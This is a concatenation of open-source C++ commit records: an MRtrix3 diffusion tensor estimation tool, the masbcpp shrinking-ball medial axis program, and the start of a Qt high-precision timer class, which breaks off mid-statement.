<class MASKType, class B0Type, class DKTType, class PredictType> \ninline Processor<MASKType, B0Type, DKTType, PredictType> processor (const Eigen::MatrixXd& b, const int& iter, MASKType* mask_image, B0Type* b0_image, DKTType* dkt_image, PredictType* predict_image) {\n  return { b, iter, mask_image, b0_image, dkt_image, predict_image };\n}\n\nvoid run ()\n{\n  auto dwi = Header::open (argument[0]).get_image<value_type>();\n  auto grad = DWI::get_valid_DW_scheme (dwi);\n  \n  Image<bool>* mask = nullptr;\n  auto opt = get_options (\"mask\");\n  if (opt.size()) {\n    mask = new Image<bool> (Image<bool>::open (opt[0][0]));\n    check_dimensions (dwi, *mask, 0, 3);\n  }\n  \n  auto iter = get_option_value (\"iter\", DEFAULT_NITER);\n\n  Header header (dwi);\n  header.datatype() = DataType::Float32;\n  header.set_ndim (4);\n  \n  Image<value_type>* predict = nullptr;\n  opt = get_options (\"predicted_signal\");\n  if (opt.size()) {\n    predict = new Image<value_type> (Image<value_type>::create (opt[0][0], header));\n  }\n  \n  header.size(3) = 6;\n  auto dt = Image<value_type>::create (argument[1], header);\n\n  Image<value_type>* b0 = nullptr;\n  opt = get_options (\"b0\");\n  if (opt.size()) {\n    header.set_ndim (3);\n    b0 = new Image<value_type> (Image<value_type>::create (opt[0][0], header));\n  }\n\n  Image<value_type>* dkt = nullptr;\n  opt = get_options (\"dkt\");\n  if (opt.size()) {\n    header.set_ndim (4);\n    header.size(3) = 15;\n    dkt = new Image<value_type> (Image<value_type>::create (opt[0][0], header));\n  }\n  \n  Eigen::MatrixXd b = -DWI::grad2bmatrix<double> (grad, opt.size()>0);\n\n  ThreadedLoop(\"computing tensors\", dwi, 0, 3).run (processor (b, iter, mask, b0, dkt, predict), dwi, dt);\n}\n\n<commit_msg>Fix bug in the cholesky version of dwi2tensor<commit_after>\/*\n * Copyright (c) 2008-2016 the MRtrix3 contributors\n * \n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n * \n * MRtrix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * For more details, see www.mrtrix.org\n * \n *\/\n\n\n#include \"command.h\"\n#include \"progressbar.h\"\n#include \"image.h\"\n#include \"algo\/threaded_copy.h\"\n#include \"dwi\/gradient.h\"\n#include \"dwi\/tensor.h\"\n\nusing namespace MR;\nusing namespace App;\nusing namespace std;\n\ntypedef float value_type;\n\n#define DEFAULT_NITER 2\n\nvoid usage ()\n{\n\n  REFERENCES\n  +  \"Veraart, J.; Sijbers, J.; Sunaert, S.; Leemans, A. & Jeurissen, B. \" \/\/ Internal\n     \"Weighted linear least squares estimation of diffusion MRI parameters: strengths, limitations, and pitfalls. \"\n     \"NeuroImage, 2013, 81, 335-346\";\n\n  ARGUMENTS\n  + Argument (\"dwi\", \"the input dwi image.\").type_image_in ()\n  + Argument (\"dt\", \"the output dt image.\").type_image_out ();\n\n  OPTIONS \n  + Option (\"mask\", \"only perform computation within the specified binary brain mask image.\")\n  + Argument (\"image\").type_image_in()\n  + Option (\"b0\", \"the output b0 image.\")\n  + Argument (\"image\").type_image_out()\n  + Option (\"dkt\", \"the output dkt image.\")\n  + Argument (\"image\").type_image_out()\n  + Option (\"iter\",\"number of iterative reweightings (default: \" + str(DEFAULT_NITER) + \"); set to 0 for ordinary linear least squares.\")\n  + Argument (\"integer\").type_integer (0, 10)\n  + Option (\"predicted_signal\", \"the predicted dwi image.\")\n  + Argument (\"image\").type_image_out()\n  + DWI::GradImportOptions();\n  \n  AUTHOR = \"Ben Jeurissen (ben.jeurissen@uantwerpen.be)\";\n  \n  DESCRIPTION\n  + \"Diffusion (kurtosis) tensor estimation using iteratively reweighted linear least squares estimator.\";\n}\n\ntemplate <class MASKType, class B0Type, class DKTType, class PredictType>\nclass Processor\n{\n  public:\n    Processor (const Eigen::MatrixXd& b, const int iter, MASKType* mask_image, B0Type* b0_image, DKTType* dkt_image, PredictType* predict_image) :\n      mask_image (mask_image),\n      b0_image (b0_image),\n      dkt_image (dkt_image),\n      predict_image (predict_image),\n      dwi(b.rows()),\n      p(b.cols()),\n      w(b.rows()),\n      work(b.cols(),b.cols()),\n      llt(work.rows()),\n      b(b),\n      maxit(iter) { }\n\n    template <class DWIType, class DTType>\n      void operator() (DWIType& dwi_image, DTType& dt_image)\n      {\n        if (mask_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*mask_image);\n          if (!mask_image->value())\n            return;\n        }\n        \n        for (auto l = Loop (3) (dwi_image); l; ++l)\n          dwi[dwi_image.index(3)] = dwi_image.value();\n        \n        double small_intensity = 1.0e-6 * dwi.maxCoeff(); \n        for (int i = 0; i < dwi.rows(); i++) {\n          if (dwi[i] < small_intensity)\n            dwi[i] = small_intensity;\n          dwi[i] = std::log (dwi[i]);\n        }\n        \n        work.setZero();\n        work.selfadjointView<Eigen::Lower>().rankUpdate (b.transpose());\n        p = llt.compute (work.selfadjointView<Eigen::Lower>()).solve(b.transpose()*dwi);\n        for (int it = 0; it < maxit; it++) {\n          w = (b*p).array().exp();\n          work.setZero();\n          work.selfadjointView<Eigen::Lower>().rankUpdate (b.transpose()*w.asDiagonal());\n          p = llt.compute (work.selfadjointView<Eigen::Lower>()).solve(b.transpose()*w.asDiagonal()*w.asDiagonal()*dwi);\n        }\n        \n        if (b0_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*b0_image);\n          b0_image->value() = exp(p[6]);\n        }\n        \n        for (auto l = Loop(3)(dt_image); l; ++l) {\n          dt_image.value() = p[dt_image.index(3)];\n        }\n        \n        if (dkt_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*dkt_image);\n          double adc_sq = (p[0]+p[1]+p[2])*(p[0]+p[1]+p[2])\/9.0;\n          for (auto l = Loop(3)(*dkt_image); l; ++l) {\n            dkt_image->value() = p[dkt_image->index(3)+7]\/adc_sq;\n          }\n        }\n        \n        if (predict_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*predict_image);\n          dwi = (b*p).array().exp();\n          for (auto l = Loop(3)(*predict_image); l; ++l) {\n            predict_image->value() = dwi[predict_image->index(3)];\n          }\n        }\n        \n      }\n\n  private:\n    copy_ptr<MASKType> mask_image;\n    copy_ptr<B0Type> b0_image;\n    copy_ptr<DKTType> dkt_image;\n    copy_ptr<PredictType> predict_image;\n    Eigen::VectorXd dwi;\n    Eigen::VectorXd p;\n    Eigen::VectorXd w;\n    Eigen::MatrixXd work;\n    Eigen::LLT<Eigen::MatrixXd> llt;\n    const Eigen::MatrixXd& b;\n    const int maxit;\n};\n\ntemplate <class MASKType, class B0Type, class DKTType, class PredictType> \ninline Processor<MASKType, B0Type, DKTType, PredictType> processor (const Eigen::MatrixXd& b, const int& iter, MASKType* mask_image, B0Type* b0_image, DKTType* dkt_image, PredictType* predict_image) {\n  return { b, iter, mask_image, b0_image, dkt_image, predict_image };\n}\n\nvoid run ()\n{\n  auto dwi = Header::open (argument[0]).get_image<value_type>();\n  auto grad = DWI::get_valid_DW_scheme (dwi);\n  \n  Image<bool>* mask = nullptr;\n  auto opt = get_options (\"mask\");\n  if (opt.size()) {\n    mask = new Image<bool> (Image<bool>::open (opt[0][0]));\n    check_dimensions (dwi, *mask, 0, 3);\n  }\n  \n  auto iter = get_option_value (\"iter\", DEFAULT_NITER);\n\n  Header header (dwi);\n  header.datatype() = DataType::Float32;\n  header.set_ndim (4);\n  \n  Image<value_type>* predict = nullptr;\n  opt = get_options (\"predicted_signal\");\n  if (opt.size()) {\n    predict = new Image<value_type> (Image<value_type>::create (opt[0][0], header));\n  }\n  \n  header.size(3) = 6;\n  auto dt = Image<value_type>::create (argument[1], header);\n\n  Image<value_type>* b0 = nullptr;\n  opt = get_options (\"b0\");\n  if (opt.size()) {\n    header.set_ndim (3);\n    b0 = new Image<value_type> (Image<value_type>::create (opt[0][0], header));\n  }\n\n  Image<value_type>* dkt = nullptr;\n  opt = get_options (\"dkt\");\n  if (opt.size()) {\n    header.set_ndim (4);\n    header.size(3) = 15;\n    dkt = new Image<value_type> (Image<value_type>::create (opt[0][0], header));\n  }\n  \n  Eigen::MatrixXd b = -DWI::grad2bmatrix<double> (grad, opt.size()>0);\n\n  ThreadedLoop(\"computing tensors\", dwi, 0, 3).run (processor (b, iter, mask, b0, dkt, predict), dwi, dt);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2015\n\/\/ Ravi Peters -- r.y.peters@tudelft.nl\n\/\/ All rights reserved\n\/\/ This file is part of masbcpp.\n\/\/\n\/\/ masbcpp is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ masbcpp is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with masbcpp.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\/\/ #define VERBOSEPRINT 1;\n\/\/ #define WITH_OPENMP 1;\n\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <limits>\n\n\/\/ OpenMP\n#ifdef WITH_OPENMP\n    #ifdef CLANG_OMP\n        #include <libiomp\/omp.h>\n    #else\n        #include <omp.h>\n    #endif\n#endif\n\n\/\/ Vrui\n#include <vrui\/Geometry\/ComponentArray.h>\n#include <vrui\/Math\/Math.h>\n#include <vrui\/Misc\/Timer.h>\n\/\/ kdtree2\n#include <kdtree2\/kdtree2.hpp>\n\/\/ cnpy\n#include <cnpy\/cnpy.h>\n\/\/ tclap\n#include <tclap\/CmdLine.h>\n\n\/\/ typedefs\n#include \"types.h\"\n\n\/\/ globals\nScalar initial_radius;\ndouble denoise_preserve;\ndouble denoise_planar;\nconst Scalar delta_convergance = 1E-5;\nconst uint iteration_limit = 30;\nconst Point nanPoint( std::numeric_limits<Scalar>::quiet_NaN() );\n\ninline Scalar compute_radius(Point &p, Vector &n, Point &q)\n{\n    \/\/ this is basic goniometry\n    double d = Geometry::mag(p-q);\n    Scalar cos_theta = ( n * (p-q) ) \/ d;\n    return d\/(2*cos_theta);\n}\n\ninline Scalar cos_angle(Vector p, Vector q)\n{\n    \/\/ Calculate the cosine of angle between vector p and q, see http:\/\/en.wikipedia.org\/wiki\/Law_of_cosines#Vector_formulation\n    Scalar result = p*q \/ ( Geometry::mag(p) * Geometry::mag(q) );\n    if( result > 1 ) return 1;\n    else if( result < -1 ) return -1;\n    return result;\n}\n\nPoint sb_point(Point &p, Vector &n, kdtree2::KDTree* kd_tree)\n{\n    uint j=0;\n    Scalar r, r_previous = 0;\n    Point q, c_next;\n    Point c = p - n * initial_radius;\n\n    while (1) \n    {\n        #ifdef VERBOSEPRINT\n        std::cout << \"\\nloop iteration: \" << j << \", p = (\" << p[0] << \",\" << p[1] << \",\" << p[2] << \", n = (\" << n[0] << \",\" << n[1] << \",\" << n[2] << \") \\n\";\n\n        std::cout << \"c = (\" << c[0] << \",\" << c[1] << \",\" << c[2] << \")\\n\";\n        #endif\n\n        \/\/ find closest point to c\n        kdtree2::KDTreeResultVector result;\n        kd_tree->n_nearest(c,2,result);\n        q = kd_tree->the_data[ result[0].idx ];\n\n        #ifdef VERBOSEPRINT\n        std::cout << \"q = (\" << q[0] << \",\" << q[1] << \",\" << q[2] << \")\\n\";\n        #endif\n\n        \/\/ handle case when q==p\n        if( q == p )\n        {\n            \/\/ 1) if r_previous==SuperR, apparantly no other points on the halfspace spanned by -n => that's an infinite ball\n            if( r_previous == initial_radius )\n            {\n                r = initial_radius;\n                c = nanPoint;\n                break;\n            \/\/ 2) otherwise just pick the second closest point\n            } else {\n                q = kd_tree->the_data[ result[1].idx ];\n            }\n        }\n\n        \/\/ compute radius\n        r = compute_radius(p,n,q);\n\n        #ifdef VERBOSEPRINT\n        std::cout << \"r = \" << r << \"\\n\";\n        #endif\n\n        \/\/ if r < 0 closest point was on the wrong side of plane with normal n => start over with SuperRadius on the right side of that plane\n        if( r < 0 )\n            r = initial_radius;\n        \/\/ if r > SuperR, stop now because otherwise in case of planar surface point configuration, we end up in an infinite loop\n        else if( r > initial_radius )\n        {\n            r = initial_radius;\n            c = nanPoint;\n            break;\n        }\n\n        \/\/ compute next ball center\n        c_next = p - n * r;\n\n        \/\/ denoising\n        if( denoise_preserve or denoise_planar )\n        {\n            Scalar a = cos_angle(p-c_next, q-c_next);\n            Scalar separation_angle = Math::acos(a);\n\n            if( denoise_preserve and ( separation_angle < denoise_preserve and j>0 and r > Geometry::mag(q-p) ) )\n            {\n                \/\/ keep previous radius:\n                r = r_previous;\n                break;\n            }\n            if( denoise_planar and ( separation_angle < denoise_planar and j==0 ) )\n            {\n                r = initial_radius;\n                c = nanPoint;\n                break;\n            }\n        }\n\n        \/\/ stop iteration if r has converged\n        if( Math::abs(r_previous-r) < delta_convergance )\n            break;\n\n        \/\/ stop iteration if this looks like an infinite loop:\n        if( j > iteration_limit )\n            break;\n\n        r_previous = r;\n        c = c_next;\n        j++;\n    }\n        \n    return c;\n}\n\nPointList sb_points(PointList &points, VectorList &normals, kdtree2::KDTree* kd_tree, bool inner=1)\n{\n    PointList ma_coords(points.size());\n    Point p;\n    Vector n;\n\n    #pragma omp parallel for private(p, n)\n    for( uint i=0; i<points.size(); i++ )\n    {\n        p = points[i];\n        if( inner )\n            n = normals[i];\n        else\n            n = -normals[i];\n        ma_coords[i] = sb_point(p, n, kd_tree);\n    }\n    return ma_coords;\n}\n\n\nint main(int argc, char **argv)\n{\n    \/\/ parse command line arguments\n    try {\n        TCLAP::CmdLine cmd(\"Computes a MAT point approximation\", ' ', \"0.1\");\n\n        TCLAP::UnlabeledValueArg<std::string> inputArg( \"input\", \"path to directory with inside it a 'coords.npy' and a 'normals.npy' file\", true, \"\", \"input dir\", cmd);\n        TCLAP::UnlabeledValueArg<std::string> outputArg( \"ouput\", \"path to output directory\", true, \"\", \"output dir\", cmd);\n\n        TCLAP::ValueArg<double> denoise_preserveArg(\"d\",\"preserve\",\"denoise preserve threshold\",false,20,\"double\", cmd);\n        TCLAP::ValueArg<double> denoise_planarArg(\"p\",\"planar\",\"denoise planar threshold\",false,32,\"double\", cmd);\n        TCLAP::ValueArg<double> initial_radiusArg(\"r\",\"radius\",\"initial ball radius\",false,200,\"double\", cmd);\n\n        cmd.parse(argc,argv);\n        \n        initial_radius = initial_radiusArg.getValue();\n        denoise_preserve = (3.1415\/180) * denoise_preserveArg.getValue();\n        denoise_planar = (3.1415\/180) * denoise_planarArg.getValue();\n\n        std::string input_coords_path = inputArg.getValue()+\"\/coords.npy\";\n        std::string input_normals_path = inputArg.getValue()+\"\/normals.npy\";\n\n        \/\/ check for proper in-output arguments\n        {\n            std::ifstream infile(input_coords_path.c_str());\n            if(!infile)\n                throw TCLAP::ArgParseException(\"invalid filepath\", inputArg.getValue());\n        }\n        {\n            std::ifstream infile(input_normals_path.c_str());\n            if(!infile)\n                throw TCLAP::ArgParseException(\"invalid filepath\", inputArg.getValue());\n        }\n        {\n            std::string output_path = outputArg.getValue()+\"\/ma_coords_in.npy\";\n            std::ofstream outfile(output_path.c_str());    \n            if(!outfile)\n                throw TCLAP::ArgParseException(\"invalid filepath\", outputArg.getValue());\n        }\n        \n        std::cout << \"Parameters: denoise_preserve=\"<<denoise_preserve<<\", denoise_planar=\"<<denoise_planar<<\", initial_radius=\"<<initial_radius<<\"\\n\";\n\n        cnpy::NpyArray coords_npy = cnpy::npy_load( input_coords_path.c_str() );\n        float* coords_carray = reinterpret_cast<float*>(coords_npy.data);\n\n        uint num_points = coords_npy.shape[0];\n        uint dim = coords_npy.shape[1];\n        PointList coords(num_points);\n        for ( int i=0; i<num_points; i++) coords[i] = Point(&coords_carray[i*3]);\n        coords_npy.destruct();\n\n        cnpy::NpyArray normals_npy = cnpy::npy_load( input_normals_path.c_str() );\n        float* normals_carray = reinterpret_cast<float*>(normals_npy.data);\n        VectorList normals(normals_npy.shape[0]);\n        for ( int i=0; i<num_points; i++) normals[i] = Vector(&normals_carray[i*3]);\n        normals_npy.destruct();\n        \n        Misc::Timer t0;\n        kdtree2::KDTree* kd_tree;\n        kd_tree = new kdtree2::KDTree(coords,true);\n        kd_tree->sort_results = true;\n        t0.elapse();\n        std::cout<<\"Constructed kd-tree in \"<<t0.getTime()*1000.0<<\" ms\"<<std::endl;\n\n        \/\/ omp_set_num_threads(4);\n\n        {\n            Scalar* ma_coords_in_carray = new Scalar[num_points*3];\n            Misc::Timer t1;\n            PointList ma_coords_in = sb_points(coords, normals, kd_tree, 1);\n            t1.elapse();\n            std::cout<<\"Done shrinking interior balls, took \"<<t1.getTime()*1000.0<<\" ms\"<<std::endl;\n        \n            \n            for (int i=0; i<ma_coords_in.size(); i++)\n                for (int j=0; j<3; j++)\n                    ma_coords_in_carray[i*3+j] = ma_coords_in[i][j];\n        \n            const unsigned int c_size = ma_coords_in.size();\n            const unsigned int shape[] = {c_size,3};\n            cnpy::npy_save((outputArg.getValue()+\"\/ma_coords_in.npy\").c_str(), ma_coords_in_carray, shape, 2, \"w\");\n        }\n\n        {\n            Scalar* ma_coords_out_carray = new Scalar[num_points*3];\n            Misc::Timer t2;\n            PointList ma_coords_out = sb_points(coords, normals, kd_tree, 0);\n            t2.elapse();\n            std::cout<<\"Done shrinking exterior balls, took \"<<t2.getTime()*1000.0<<\" ms\"<<std::endl;\n            \n            for (int i=0; i<ma_coords_out.size(); i++)\n                for (int j=0; j<3; j++)\n                    ma_coords_out_carray[i*3+j] = ma_coords_out[i][j];\n\n            const unsigned int c_size = ma_coords_out.size();\n            const unsigned int shape[] = {c_size,3};\n            cnpy::npy_save((outputArg.getValue()+\"\/ma_coords_out.npy\").c_str(), ma_coords_out_carray, shape, 2, \"w\");\n        }\n\n    } catch (TCLAP::ArgException &e) { std::cerr << \"Error: \" << e.error() << \" for \" << e.argId() << std::endl; }\n\n    return 0;\n}\n<commit_msg>report parameters in degrees not radians<commit_after>\/\/ Copyright (c) 2015\n\/\/ Ravi Peters -- r.y.peters@tudelft.nl\n\/\/ All rights reserved\n\/\/ This file is part of masbcpp.\n\/\/\n\/\/ masbcpp is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ masbcpp is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with masbcpp.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\/\/ #define VERBOSEPRINT 1;\n\/\/ #define WITH_OPENMP 1;\n\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <limits>\n\n\/\/ OpenMP\n#ifdef WITH_OPENMP\n    #ifdef CLANG_OMP\n        #include <libiomp\/omp.h>\n    #else\n        #include <omp.h>\n    #endif\n#endif\n\n\/\/ Vrui\n#include <vrui\/Geometry\/ComponentArray.h>\n#include <vrui\/Math\/Math.h>\n#include <vrui\/Misc\/Timer.h>\n\/\/ kdtree2\n#include <kdtree2\/kdtree2.hpp>\n\/\/ cnpy\n#include <cnpy\/cnpy.h>\n\/\/ tclap\n#include <tclap\/CmdLine.h>\n\n\/\/ typedefs\n#include \"types.h\"\n\n\/\/ globals\nScalar initial_radius;\ndouble denoise_preserve;\ndouble denoise_planar;\nconst Scalar delta_convergance = 1E-5;\nconst uint iteration_limit = 30;\nconst Point nanPoint( std::numeric_limits<Scalar>::quiet_NaN() );\n\ninline Scalar compute_radius(Point &p, Vector &n, Point &q)\n{\n    \/\/ this is basic goniometry\n    double d = Geometry::mag(p-q);\n    Scalar cos_theta = ( n * (p-q) ) \/ d;\n    return d\/(2*cos_theta);\n}\n\ninline Scalar cos_angle(Vector p, Vector q)\n{\n    \/\/ Calculate the cosine of angle between vector p and q, see http:\/\/en.wikipedia.org\/wiki\/Law_of_cosines#Vector_formulation\n    Scalar result = p*q \/ ( Geometry::mag(p) * Geometry::mag(q) );\n    if( result > 1 ) return 1;\n    else if( result < -1 ) return -1;\n    return result;\n}\n\nPoint sb_point(Point &p, Vector &n, kdtree2::KDTree* kd_tree)\n{\n    uint j=0;\n    Scalar r, r_previous = 0;\n    Point q, c_next;\n    Point c = p - n * initial_radius;\n\n    while (1) \n    {\n        #ifdef VERBOSEPRINT\n        std::cout << \"\\nloop iteration: \" << j << \", p = (\" << p[0] << \",\" << p[1] << \",\" << p[2] << \", n = (\" << n[0] << \",\" << n[1] << \",\" << n[2] << \") \\n\";\n\n        std::cout << \"c = (\" << c[0] << \",\" << c[1] << \",\" << c[2] << \")\\n\";\n        #endif\n\n        \/\/ find closest point to c\n        kdtree2::KDTreeResultVector result;\n        kd_tree->n_nearest(c,2,result);\n        q = kd_tree->the_data[ result[0].idx ];\n\n        #ifdef VERBOSEPRINT\n        std::cout << \"q = (\" << q[0] << \",\" << q[1] << \",\" << q[2] << \")\\n\";\n        #endif\n\n        \/\/ handle case when q==p\n        if( q == p )\n        {\n            \/\/ 1) if r_previous==SuperR, apparantly no other points on the halfspace spanned by -n => that's an infinite ball\n            if( r_previous == initial_radius )\n            {\n                r = initial_radius;\n                c = nanPoint;\n                break;\n            \/\/ 2) otherwise just pick the second closest point\n            } else {\n                q = kd_tree->the_data[ result[1].idx ];\n            }\n        }\n\n        \/\/ compute radius\n        r = compute_radius(p,n,q);\n\n        #ifdef VERBOSEPRINT\n        std::cout << \"r = \" << r << \"\\n\";\n        #endif\n\n        \/\/ if r < 0 closest point was on the wrong side of plane with normal n => start over with SuperRadius on the right side of that plane\n        if( r < 0 )\n            r = initial_radius;\n        \/\/ if r > SuperR, stop now because otherwise in case of planar surface point configuration, we end up in an infinite loop\n        else if( r > initial_radius )\n        {\n            r = initial_radius;\n            c = nanPoint;\n            break;\n        }\n\n        \/\/ compute next ball center\n        c_next = p - n * r;\n\n        \/\/ denoising\n        if( denoise_preserve or denoise_planar )\n        {\n            Scalar a = cos_angle(p-c_next, q-c_next);\n            Scalar separation_angle = Math::acos(a);\n\n            if( denoise_preserve and ( separation_angle < denoise_preserve and j>0 and r > Geometry::mag(q-p) ) )\n            {\n                \/\/ keep previous radius:\n                r = r_previous;\n                break;\n            }\n            if( denoise_planar and ( separation_angle < denoise_planar and j==0 ) )\n            {\n                r = initial_radius;\n                c = nanPoint;\n                break;\n            }\n        }\n\n        \/\/ stop iteration if r has converged\n        if( Math::abs(r_previous-r) < delta_convergance )\n            break;\n\n        \/\/ stop iteration if this looks like an infinite loop:\n        if( j > iteration_limit )\n            break;\n\n        r_previous = r;\n        c = c_next;\n        j++;\n    }\n        \n    return c;\n}\n\nPointList sb_points(PointList &points, VectorList &normals, kdtree2::KDTree* kd_tree, bool inner=1)\n{\n    PointList ma_coords(points.size());\n    Point p;\n    Vector n;\n\n    #pragma omp parallel for private(p, n)\n    for( uint i=0; i<points.size(); i++ )\n    {\n        p = points[i];\n        if( inner )\n            n = normals[i];\n        else\n            n = -normals[i];\n        ma_coords[i] = sb_point(p, n, kd_tree);\n    }\n    return ma_coords;\n}\n\n\nint main(int argc, char **argv)\n{\n    \/\/ parse command line arguments\n    try {\n        TCLAP::CmdLine cmd(\"Computes a MAT point approximation\", ' ', \"0.1\");\n\n        TCLAP::UnlabeledValueArg<std::string> inputArg( \"input\", \"path to directory with inside it a 'coords.npy' and a 'normals.npy' file\", true, \"\", \"input dir\", cmd);\n        TCLAP::UnlabeledValueArg<std::string> outputArg( \"ouput\", \"path to output directory\", true, \"\", \"output dir\", cmd);\n\n        TCLAP::ValueArg<double> denoise_preserveArg(\"d\",\"preserve\",\"denoise preserve threshold\",false,20,\"double\", cmd);\n        TCLAP::ValueArg<double> denoise_planarArg(\"p\",\"planar\",\"denoise planar threshold\",false,32,\"double\", cmd);\n        TCLAP::ValueArg<double> initial_radiusArg(\"r\",\"radius\",\"initial ball radius\",false,200,\"double\", cmd);\n\n        cmd.parse(argc,argv);\n        \n        initial_radius = initial_radiusArg.getValue();\n        denoise_preserve = (3.1415\/180) * denoise_preserveArg.getValue();\n        denoise_planar = (3.1415\/180) * denoise_planarArg.getValue();\n\n        std::string input_coords_path = inputArg.getValue()+\"\/coords.npy\";\n        std::string input_normals_path = inputArg.getValue()+\"\/normals.npy\";\n\n        \/\/ check for proper in-output arguments\n        {\n            std::ifstream infile(input_coords_path.c_str());\n            if(!infile)\n                throw TCLAP::ArgParseException(\"invalid filepath\", inputArg.getValue());\n        }\n        {\n            std::ifstream infile(input_normals_path.c_str());\n            if(!infile)\n                throw TCLAP::ArgParseException(\"invalid filepath\", inputArg.getValue());\n        }\n        {\n            std::string output_path = outputArg.getValue()+\"\/ma_coords_in.npy\";\n            std::ofstream outfile(output_path.c_str());    \n            if(!outfile)\n                throw TCLAP::ArgParseException(\"invalid filepath\", outputArg.getValue());\n        }\n        \n        std::cout << \"Parameters: denoise_preserve=\"<<denoise_preserveArg.getValue()<<\", denoise_planar=\"<<denoise_planarArg.getValue()<<\", initial_radius=\"<<initial_radius<<\"\\n\";\n\n        cnpy::NpyArray coords_npy = cnpy::npy_load( input_coords_path.c_str() );\n        float* coords_carray = reinterpret_cast<float*>(coords_npy.data);\n\n        uint num_points = coords_npy.shape[0];\n        uint dim = coords_npy.shape[1];\n        PointList coords(num_points);\n        for ( int i=0; i<num_points; i++) coords[i] = Point(&coords_carray[i*3]);\n        coords_npy.destruct();\n\n        cnpy::NpyArray normals_npy = cnpy::npy_load( input_normals_path.c_str() );\n        float* normals_carray = reinterpret_cast<float*>(normals_npy.data);\n        VectorList normals(normals_npy.shape[0]);\n        for ( int i=0; i<num_points; i++) normals[i] = Vector(&normals_carray[i*3]);\n        normals_npy.destruct();\n        \n        Misc::Timer t0;\n        kdtree2::KDTree* kd_tree;\n        kd_tree = new kdtree2::KDTree(coords,true);\n        kd_tree->sort_results = true;\n        t0.elapse();\n        std::cout<<\"Constructed kd-tree in \"<<t0.getTime()*1000.0<<\" ms\"<<std::endl;\n\n        \/\/ omp_set_num_threads(4);\n\n        {\n            Scalar* ma_coords_in_carray = new Scalar[num_points*3];\n            Misc::Timer t1;\n            PointList ma_coords_in = sb_points(coords, normals, kd_tree, 1);\n            t1.elapse();\n            std::cout<<\"Done shrinking interior balls, took \"<<t1.getTime()*1000.0<<\" ms\"<<std::endl;\n        \n            \n            for (int i=0; i<ma_coords_in.size(); i++)\n                for (int j=0; j<3; j++)\n                    ma_coords_in_carray[i*3+j] = ma_coords_in[i][j];\n        \n            const unsigned int c_size = ma_coords_in.size();\n            const unsigned int shape[] = {c_size,3};\n            cnpy::npy_save((outputArg.getValue()+\"\/ma_coords_in.npy\").c_str(), ma_coords_in_carray, shape, 2, \"w\");\n        }\n\n        {\n            Scalar* ma_coords_out_carray = new Scalar[num_points*3];\n            Misc::Timer t2;\n            PointList ma_coords_out = sb_points(coords, normals, kd_tree, 0);\n            t2.elapse();\n            std::cout<<\"Done shrinking exterior balls, took \"<<t2.getTime()*1000.0<<\" ms\"<<std::endl;\n            \n            for (int i=0; i<ma_coords_out.size(); i++)\n                for (int j=0; j<3; j++)\n                    ma_coords_out_carray[i*3+j] = ma_coords_out[i][j];\n\n            const unsigned int c_size = ma_coords_out.size();\n            const unsigned int shape[] = {c_size,3};\n            cnpy::npy_save((outputArg.getValue()+\"\/ma_coords_out.npy\").c_str(), ma_coords_out_carray, shape, 2, \"w\");\n        }\n\n    } catch (TCLAP::ArgException &e) { std::cerr << \"Error: \" << e.error() << \" for \" << e.argId() << std::endl; }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"HighPrecisionTimer.h\"\n#include \"Utilities.h\"\n\n\nHighPrecisionTimerInner::HighPrecisionTimerInner()\n\t: mIsCancelled(false)\n{\n\n}\n\nvoid HighPrecisionTimerInner::startTimer()\n{\n\tmIsCancelled = false;\n\tmTimer.start();\n}\n\nvoid HighPrecisionTimerInner::cancel()\n{\n\tmIsCancelled = true;\n}\n\nvoid HighPrecisionTimerInner::startLoop(int milliseconds)\n{\n\t\/\/Q_ASSERT(mTimer.isValid());\n\twhile (mTimer.elapsed() < milliseconds && !mIsCancelled)\n\t{\n\t\tQThread::usleep(50);\n\t}\n\t\/\/mTimer.invalidate();\n\tif (mIsCancelled)\n\t{\n\t\treturn;\n\t}\n\tQ_EMIT timeout();\n\n}\n\n\n\n\nHighPrecisionTimer::HighPrecisionTimer(QObject* parent \/*= nullptr*\/)\n\t: QObject(parent)\n\t, mThread(new QThread(this))\n\t, mInner(new HighPrecisionTimerInner)\n\t, mIsRunning(false)\n{\n\tVERIFY(connect(this, SIGNAL(startInner(int)), mInner, SLOT(startLoop(int))));\n\tVERIFY(connect(mInner, SIGNAL(timeout()), this, SLOT(timeoutInner())));\n\n\tmThread->start(QThread::TimeCriticalPriority);\n\tmInner->moveToThread(mThread);\n\n}\n\nHighPrecisionTimer::~HighPrecisionTimer()\n{\n\tcancel();\n}\n\n\nvoid HighPrecisionTimer::cancel()\n{\n    mIsRunning = false;\n\tmInner->cancel();\n}\n\nvoid HighPrecisionTimer::start(int milliseconds)\n{\n\tif (mIsRunning)\n\t{\n\t\tcancel();\n\t}\n\tmIsRunning = true;\n\tmInner->startTimer();\n\tQ_EMIT 